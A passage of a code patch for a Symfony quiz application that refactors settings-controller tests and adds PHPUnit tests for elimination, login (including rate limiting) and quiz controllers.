|
return $this->getCsrfTokenFromPage('/backoffice/settings', $formActionContains);
|
||||||
self::assertResponseIsSuccessful();
|
|
||||||
|
|
||||||
$input = $crawler->filter(\sprintf('form[action*="%s"] input[name="_token"]', $formActionContains));
|
|
||||||
$this->assertGreaterThan(0, $input->count(), \sprintf('No form found with action containing "%s"', $formActionContains));
|
|
||||||
|
|
||||||
return (string) $input->first()->attr('value');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testSettingsPageLoadsAndNavContainsSettingsLink(): void
|
public function testSettingsPageLoadsAndNavContainsSettingsLink(): void
|
||||||
@@ -98,7 +74,6 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
|
|
||||||
$user = $this->getUserByEmail('test@example.org');
|
$user = $this->getUserByEmail('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$hasher = self::getContainer()->get(UserPasswordHasherInterface::class);
|
$hasher = self::getContainer()->get(UserPasswordHasherInterface::class);
|
||||||
$this->assertTrue($hasher->isPasswordValid($user, 'NewPass123!'));
|
$this->assertTrue($hasher->isPasswordValid($user, 'NewPass123!'));
|
||||||
|
|
||||||
@@ -107,32 +82,21 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
self::assertResponseIsSuccessful();
|
self::assertResponseIsSuccessful();
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testChangePasswordWithWrongCurrentPasswordIsRejected(): void
|
/** @return iterable<string, array{string, string, string}> */
|
||||||
|
public static function invalidPasswordChangeProvider(): iterable
|
||||||
{
|
{
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/settings');
|
yield 'wrong current password' => ['wrong-password', 'NewPass123!', 'NewPass123!'];
|
||||||
$form = $this->client->getCrawler()->filter('form[action*="/backoffice/settings/password"]')->form([
|
yield 'mismatched repeat' => [TestFixtures::PASSWORD, 'NewPass123!', 'SomethingElse!'];
|
||||||
'change_user_password_form[currentPassword]' => 'wrong-password',
|
|
||||||
'change_user_password_form[plainPassword][first]' => 'NewPass123!',
|
|
||||||
'change_user_password_form[plainPassword][second]' => 'NewPass123!',
|
|
||||||
]);
|
|
||||||
$this->client->submit($form);
|
|
||||||
|
|
||||||
self::assertResponseStatusCodeSame(422);
|
|
||||||
$this->entityManager->clear();
|
|
||||||
|
|
||||||
$user = $this->getUserByEmail('test@example.org');
|
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$hasher = self::getContainer()->get(UserPasswordHasherInterface::class);
|
|
||||||
$this->assertTrue($hasher->isPasswordValid($user, TestFixtures::PASSWORD));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testChangePasswordWithMismatchedRepeatIsRejected(): void
|
#[DataProvider('invalidPasswordChangeProvider')]
|
||||||
|
public function testChangePasswordIsRejected(string $currentPassword, string $first, string $second): void
|
||||||
{
|
{
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/settings');
|
$this->client->request(Request::METHOD_GET, '/backoffice/settings');
|
||||||
$form = $this->client->getCrawler()->filter('form[action*="/backoffice/settings/password"]')->form([
|
$form = $this->client->getCrawler()->filter('form[action*="/backoffice/settings/password"]')->form([
|
||||||
'change_user_password_form[currentPassword]' => TestFixtures::PASSWORD,
|
'change_user_password_form[currentPassword]' => $currentPassword,
|
||||||
'change_user_password_form[plainPassword][first]' => 'NewPass123!',
|
'change_user_password_form[plainPassword][first]' => $first,
|
||||||
'change_user_password_form[plainPassword][second]' => 'SomethingElse!',
|
'change_user_password_form[plainPassword][second]' => $second,
|
||||||
]);
|
]);
|
||||||
$this->client->submit($form);
|
$this->client->submit($form);
|
||||||
|
|
||||||
@@ -140,7 +104,6 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
|
|
||||||
$user = $this->getUserByEmail('test@example.org');
|
$user = $this->getUserByEmail('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$hasher = self::getContainer()->get(UserPasswordHasherInterface::class);
|
$hasher = self::getContainer()->get(UserPasswordHasherInterface::class);
|
||||||
$this->assertTrue($hasher->isPasswordValid($user, TestFixtures::PASSWORD));
|
$this->assertTrue($hasher->isPasswordValid($user, TestFixtures::PASSWORD));
|
||||||
}
|
}
|
||||||
@@ -157,9 +120,8 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
self::assertEmailCount(1);
|
self::assertEmailCount(1);
|
||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
|
|
||||||
$this->assertNotInstanceOf(User::class, $this->getUserByEmail('test@example.org'));
|
$this->assertNotInstanceOf(User::class, $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'test@example.org']));
|
||||||
$user = $this->getUserByEmail('new-address@example.org');
|
$user = $this->getUserByEmail('new-address@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->assertFalse($user->isVerified);
|
$this->assertFalse($user->isVerified);
|
||||||
|
|
||||||
// User stays logged in
|
// User stays logged in
|
||||||
@@ -179,7 +141,7 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
self::assertEmailCount(0);
|
self::assertEmailCount(0);
|
||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
|
|
||||||
$this->assertInstanceOf(User::class, $this->getUserByEmail('test@example.org'));
|
$this->getUserByEmail('test@example.org');
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testResendConfirmationEmailSendsEmail(): void
|
public function testResendConfirmationEmailSendsEmail(): void
|
||||||
@@ -200,8 +162,8 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
$token = $this->getCsrfTokenFromSettings('/backoffice/settings/resend-confirmation');
|
$token = $this->getCsrfTokenFromSettings('/backoffice/settings/resend-confirmation');
|
||||||
|
|
||||||
$user = $this->getUserByEmail('test@example.org');
|
$user = $this->getUserByEmail('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$user->isVerified = true;
|
$user->isVerified = true;
|
||||||
|
|
||||||
$this->entityManager->flush();
|
$this->entityManager->flush();
|
||||||
|
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/settings');
|
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/settings');
|
||||||
@@ -242,7 +204,6 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
public function testChangePasswordInvalidatesResetPasswordRequests(): void
|
public function testChangePasswordInvalidatesResetPasswordRequests(): void
|
||||||
{
|
{
|
||||||
$user = $this->getUserByEmail('test@example.org');
|
$user = $this->getUserByEmail('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->createResetPasswordRequest($user);
|
$this->createResetPasswordRequest($user);
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/settings');
|
$this->client->request(Request::METHOD_GET, '/backoffice/settings');
|
||||||
@@ -257,14 +218,12 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
|
|
||||||
$user = $this->getUserByEmail('test@example.org');
|
$user = $this->getUserByEmail('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->assertSame(0, $this->entityManager->getRepository(ResetPasswordRequest::class)->count(['user' => $user]));
|
$this->assertSame(0, $this->entityManager->getRepository(ResetPasswordRequest::class)->count(['user' => $user]));
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testChangeEmailInvalidatesResetPasswordRequests(): void
|
public function testChangeEmailInvalidatesResetPasswordRequests(): void
|
||||||
{
|
{
|
||||||
$user = $this->getUserByEmail('test@example.org');
|
$user = $this->getUserByEmail('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->createResetPasswordRequest($user);
|
$this->createResetPasswordRequest($user);
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/settings');
|
$this->client->request(Request::METHOD_GET, '/backoffice/settings');
|
||||||
@@ -277,7 +236,6 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
|
|
||||||
$user = $this->getUserByEmail('new-address@example.org');
|
$user = $this->getUserByEmail('new-address@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->assertSame(0, $this->entityManager->getRepository(ResetPasswordRequest::class)->count(['user' => $user]));
|
$this->assertSame(0, $this->entityManager->getRepository(ResetPasswordRequest::class)->count(['user' => $user]));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -293,7 +251,7 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
self::assertResponseRedirects('/backoffice/settings');
|
self::assertResponseRedirects('/backoffice/settings');
|
||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
|
|
||||||
$this->assertInstanceOf(User::class, $this->getUserByEmail('test@example.org'));
|
$this->getUserByEmail('test@example.org');
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testDeleteAccountRemovesSoleOwnerSeasonsAndKeepsSharedSeasons(): void
|
public function testDeleteAccountRemovesSoleOwnerSeasonsAndKeepsSharedSeasons(): void
|
||||||
@@ -309,7 +267,7 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
self::assertResponseRedirects();
|
self::assertResponseRedirects();
|
||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
|
|
||||||
$this->assertNotInstanceOf(User::class, $this->getUserByEmail('sole-owner@example.org'));
|
$this->assertNotInstanceOf(User::class, $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'sole-owner@example.org']));
|
||||||
|
|
||||||
// Sole-owner season is removed, including its quiz
|
// Sole-owner season is removed, including its quiz
|
||||||
$this->assertNotInstanceOf(Season::class, $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => 'doomd']));
|
$this->assertNotInstanceOf(Season::class, $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => 'doomd']));
|
||||||
@@ -340,7 +298,7 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
self::assertResponseRedirects();
|
self::assertResponseRedirects();
|
||||||
$this->entityManager->clear();
|
$this->entityManager->clear();
|
||||||
|
|
||||||
$this->assertNotInstanceOf(User::class, $this->getUserByEmail('user2@example.org'));
|
$this->assertNotInstanceOf(User::class, $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'user2@example.org']));
|
||||||
|
|
||||||
foreach (['krtek', 'bbbbb'] as $seasonCode) {
|
foreach (['krtek', 'bbbbb'] as $seasonCode) {
|
||||||
$season = $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => $seasonCode]);
|
$season = $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => $seasonCode]);
|
||||||
@@ -378,7 +336,6 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
public function testDownloadDataRequiresVerifiedEmail(): void
|
public function testDownloadDataRequiresVerifiedEmail(): void
|
||||||
{
|
{
|
||||||
$user = $this->getUserByEmail('test@example.org');
|
$user = $this->getUserByEmail('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->assertFalse($user->isVerified);
|
$this->assertFalse($user->isVerified);
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/settings/download-data');
|
$this->client->request(Request::METHOD_GET, '/backoffice/settings/download-data');
|
||||||
@@ -389,8 +346,8 @@ final class SettingsControllerTest extends WebTestCase
|
|||||||
private function markUserVerified(string $email): void
|
private function markUserVerified(string $email): void
|
||||||
{
|
{
|
||||||
$user = $this->getUserByEmail($email);
|
$user = $this->getUserByEmail($email);
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$user->isVerified = true;
|
$user->isVerified = true;
|
||||||
|
|
||||||
$this->entityManager->flush();
|
$this->entityManager->flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,86 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Controller;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
|
use Tvdt\Controller\EliminationController;
|
||||||
|
use Tvdt\Entity\Elimination;
|
||||||
|
use Tvdt\Helpers\Base64;
|
||||||
|
|
||||||
|
#[CoversClass(EliminationController::class)]
|
||||||
|
final class EliminationControllerTest extends AbstractControllerWebTestCase
|
||||||
|
{
|
||||||
|
private Elimination $elimination;
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
parent::setUp();
|
||||||
|
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
|
||||||
|
$this->elimination = new Elimination($quiz);
|
||||||
|
$this->elimination->data = ['Tom' => Elimination::SCREEN_GREEN];
|
||||||
|
|
||||||
|
$this->entityManager->persist($this->elimination);
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$this->loginAs('krtek-admin@example.org');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIndexIsDeniedForNonOwner(): void
|
||||||
|
{
|
||||||
|
$this->loginAs('test@example.org');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/elimination/%s', $this->elimination->id));
|
||||||
|
|
||||||
|
self::assertResponseStatusCodeSame(403);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIndexPageLoads(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/elimination/%s', $this->elimination->id));
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
self::assertSelectorExists('form');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIndexRedirectsToCandidateScreen(): void
|
||||||
|
{
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, \sprintf('/elimination/%s', $this->elimination->id));
|
||||||
|
$form = $crawler->filter('form')->form([
|
||||||
|
'elimination_enter_name[name]' => 'Tom',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
self::assertResponseRedirects(\sprintf('/elimination/%s/%s', $this->elimination->id, Base64::base64UrlEncode('Tom')));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testCandidateScreenUnknownCandidateRedirectsWithFlash(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/elimination/%s/%s', $this->elimination->id, Base64::base64UrlEncode('Nobody')));
|
||||||
|
|
||||||
|
self::assertResponseRedirects(\sprintf('/elimination/%s', $this->elimination->id));
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Kon kandidaat met naam Nobody niet vinden');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testCandidateScreenCandidateNotInEliminationDataRedirectsWithFlash(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/elimination/%s/%s', $this->elimination->id, Base64::base64UrlEncode('Claudia')));
|
||||||
|
|
||||||
|
self::assertResponseRedirects(\sprintf('/elimination/%s', $this->elimination->id));
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Kon geen kandidaat vinden met de naam Claudia in de eliminatie');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testCandidateScreenRendersColour(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/elimination/%s/%s', $this->elimination->id, Base64::base64UrlEncode('Tom')));
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
self::assertSelectorExists(\sprintf('#%s', Elimination::SCREEN_GREEN));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,103 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Controller;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
|
use Tvdt\Controller\LoginController;
|
||||||
|
|
||||||
|
#[CoversClass(LoginController::class)]
|
||||||
|
final class LoginControllerTest extends AbstractControllerWebTestCase
|
||||||
|
{
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
parent::setUp();
|
||||||
|
|
||||||
|
// Login attempts are rate-limited; start each test with a clean quota.
|
||||||
|
self::getContainer()->get('cache.rate_limiter')->clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testLoginPageLoadsWhenNotAuthenticated(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, '/login');
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
self::assertSelectorExists('form');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNavbarTogglerHasNoDeadTargetWhenNotAuthenticated(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, '/login');
|
||||||
|
|
||||||
|
$crawler = $this->client->getCrawler();
|
||||||
|
$toggler = $crawler->filter('.navbar-toggler');
|
||||||
|
|
||||||
|
if (0 === $toggler->count()) {
|
||||||
|
self::assertSelectorNotExists('#navbarSupportedContent');
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$target = $toggler->attr('data-bs-target');
|
||||||
|
$this->assertNotNull($target);
|
||||||
|
self::assertSelectorExists($target);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testLoginRedirectsToBackofficeWhenAlreadyAuthenticated(): void
|
||||||
|
{
|
||||||
|
$this->loginAs('test@example.org');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, '/login');
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/backoffice/');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testLoginWithInvalidCredentialsShowsFlash(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, '/login');
|
||||||
|
$form = $this->client->getCrawler()->filter('form')->form([
|
||||||
|
'_username' => 'test@example.org',
|
||||||
|
'_password' => 'wrong-password',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/login');
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Ongeldige inloggegevens.');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testLoginIsThrottledAfterTooManyFailedAttempts(): void
|
||||||
|
{
|
||||||
|
for ($i = 0; $i < 2; ++$i) {
|
||||||
|
$this->client->request(Request::METHOD_GET, '/login');
|
||||||
|
$form = $this->client->getCrawler()->filter('form')->form([
|
||||||
|
'_username' => 'test@example.org',
|
||||||
|
'_password' => 'wrong-password',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
self::assertResponseRedirects('/login');
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, '/login');
|
||||||
|
$form = $this->client->getCrawler()->filter('form')->form([
|
||||||
|
'_username' => 'test@example.org',
|
||||||
|
'_password' => 'wrong-password',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/login');
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Te veel onjuiste inlogpogingen');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testLogoutIsInterceptedByFirewall(): void
|
||||||
|
{
|
||||||
|
$this->loginAs('test@example.org');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, '/logout');
|
||||||
|
|
||||||
|
self::assertResponseRedirects();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,237 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Controller;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
|
use Tvdt\Controller\QuizController;
|
||||||
|
use Tvdt\Entity\Answer;
|
||||||
|
use Tvdt\Entity\Candidate;
|
||||||
|
use Tvdt\Entity\GivenAnswer;
|
||||||
|
use Tvdt\Entity\Question;
|
||||||
|
use Tvdt\Entity\QuizCandidate;
|
||||||
|
use Tvdt\Helpers\Base64;
|
||||||
|
|
||||||
|
#[CoversClass(QuizController::class)]
|
||||||
|
final class QuizControllerTest extends AbstractControllerWebTestCase
|
||||||
|
{
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
parent::setUp();
|
||||||
|
|
||||||
|
// Season-code guessing is rate-limited; start each test with a clean quota.
|
||||||
|
self::getContainer()->get('cache.rate_limiter')->clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function answerQuestion(Question $question): void
|
||||||
|
{
|
||||||
|
$tomHash = Base64::base64UrlEncode('Tom');
|
||||||
|
$url = \sprintf('/krtek/%s', $tomHash);
|
||||||
|
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, $url);
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
$token = (string) $crawler->filter('input[name="token"]')->first()->attr('value');
|
||||||
|
|
||||||
|
$answer = $question->answers->first();
|
||||||
|
$this->assertInstanceOf(Answer::class, $answer);
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_POST, $url, [
|
||||||
|
'token' => $token,
|
||||||
|
'answer' => (string) $answer->id,
|
||||||
|
]);
|
||||||
|
|
||||||
|
self::assertResponseRedirects($url);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSelectSeasonPageLoads(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, '/');
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
self::assertSelectorExists('form');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSelectSeasonWithInvalidCodeRedirectsWithFlash(): void
|
||||||
|
{
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
||||||
|
$form = $crawler->filter('form')->form([
|
||||||
|
'select_season[season_code]' => 'aaaaa',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/');
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Ongeldige seizoencode');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSelectSeasonWithValidCodeRedirectsToEnterName(): void
|
||||||
|
{
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
||||||
|
$form = $crawler->filter('form')->form([
|
||||||
|
'select_season[season_code]' => 'krtek',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/krtek');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testSelectSeasonIsThrottledAfterTooManyAttempts(): void
|
||||||
|
{
|
||||||
|
for ($i = 0; $i < 3; ++$i) {
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
||||||
|
$form = $crawler->filter('form')->form([
|
||||||
|
'select_season[season_code]' => 'aaaaa',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
self::assertResponseRedirects('/');
|
||||||
|
}
|
||||||
|
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
||||||
|
$form = $crawler->filter('form')->form([
|
||||||
|
'select_season[season_code]' => 'aaaaa',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
self::assertResponseStatusCodeSame(429);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testEnterNamePageLoads(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, '/krtek');
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
self::assertSelectorExists('form');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testEnterNameRedirectsToQuizPage(): void
|
||||||
|
{
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, '/krtek');
|
||||||
|
$form = $crawler->filter('form')->form([
|
||||||
|
'enter_name[name]' => 'Tom',
|
||||||
|
]);
|
||||||
|
$this->client->submit($form);
|
||||||
|
|
||||||
|
self::assertResponseRedirects(\sprintf('/krtek/%s', Base64::base64UrlEncode('Tom')));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testQuizPageUnknownCandidateRedirectsWithFlash(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/krtek/%s', Base64::base64UrlEncode('Nobody')));
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/krtek');
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Kandidaat niet gevonden');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testQuizPageWithoutActiveQuizRedirectsWithFlash(): void
|
||||||
|
{
|
||||||
|
$season = $this->getSeasonByCode('bbbbb');
|
||||||
|
$season->addCandidate(new Candidate('Nienke'));
|
||||||
|
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/bbbbb/%s', Base64::base64UrlEncode('Nienke')));
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/bbbbb');
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Er is geen test actief');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testQuizPageRendersFirstQuestion(): void
|
||||||
|
{
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/krtek/%s', Base64::base64UrlEncode('Tom')));
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
self::assertSelectorTextContains('body', 'Is de Krtek een man of een vrouw?');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testQuizPageAnsweringPersistsGivenAnswerAndRedirects(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$firstQuestion = $quiz->questions->first();
|
||||||
|
$this->assertInstanceOf(Question::class, $firstQuestion);
|
||||||
|
$answer = $firstQuestion->answers->first();
|
||||||
|
$this->assertInstanceOf(Answer::class, $answer);
|
||||||
|
|
||||||
|
$this->answerQuestion($firstQuestion);
|
||||||
|
$this->entityManager->clear();
|
||||||
|
|
||||||
|
$candidate = $this->getCandidate('Tom');
|
||||||
|
$givenAnswer = $this->entityManager->getRepository(GivenAnswer::class)->findOneBy(['candidate' => $candidate]);
|
||||||
|
$this->assertInstanceOf(GivenAnswer::class, $givenAnswer);
|
||||||
|
$this->assertTrue($answer->id->equals($givenAnswer->answer->id));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testQuizPageInvalidAnswerIdShowsFlash(): void
|
||||||
|
{
|
||||||
|
$url = \sprintf('/krtek/%s', Base64::base64UrlEncode('Tom'));
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, $url);
|
||||||
|
$token = (string) $crawler->filter('input[name="token"]')->first()->attr('value');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_POST, $url, [
|
||||||
|
'token' => $token,
|
||||||
|
'answer' => '00000000-0000-0000-0000-000000000000',
|
||||||
|
]);
|
||||||
|
|
||||||
|
self::assertResponseRedirects($url);
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Selecteer een antwoorden alsjeblieft');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testQuizPageOutOfOrderAnswerShowsFlash(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$secondQuestion = $quiz->questions->get(1);
|
||||||
|
$this->assertInstanceOf(Question::class, $secondQuestion);
|
||||||
|
$answer = $secondQuestion->answers->first();
|
||||||
|
$this->assertInstanceOf(Answer::class, $answer);
|
||||||
|
|
||||||
|
$url = \sprintf('/krtek/%s', Base64::base64UrlEncode('Tom'));
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, $url);
|
||||||
|
$token = (string) $crawler->filter('input[name="token"]')->first()->attr('value');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_POST, $url, [
|
||||||
|
'token' => $token,
|
||||||
|
'answer' => (string) $answer->id,
|
||||||
|
]);
|
||||||
|
|
||||||
|
self::assertResponseRedirects($url);
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Je kan deze vraag niet beantwoorden');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testQuizPageCompletedShowsFlashAndRedirects(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
|
||||||
|
foreach ($quiz->questions as $question) {
|
||||||
|
$this->answerQuestion($question);
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/krtek/%s', Base64::base64UrlEncode('Tom')));
|
||||||
|
|
||||||
|
self::assertResponseRedirects('/krtek');
|
||||||
|
$this->client->followRedirect();
|
||||||
|
self::assertSelectorTextContains('body', 'Test voltooid');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testQuizPageInactiveCandidateIsBlocked(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$candidate = $this->getCandidate('Tom');
|
||||||
|
|
||||||
|
$quizCandidate = new QuizCandidate($quiz, $candidate);
|
||||||
|
$quizCandidate->active = false;
|
||||||
|
|
||||||
|
$this->entityManager->persist($quizCandidate);
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
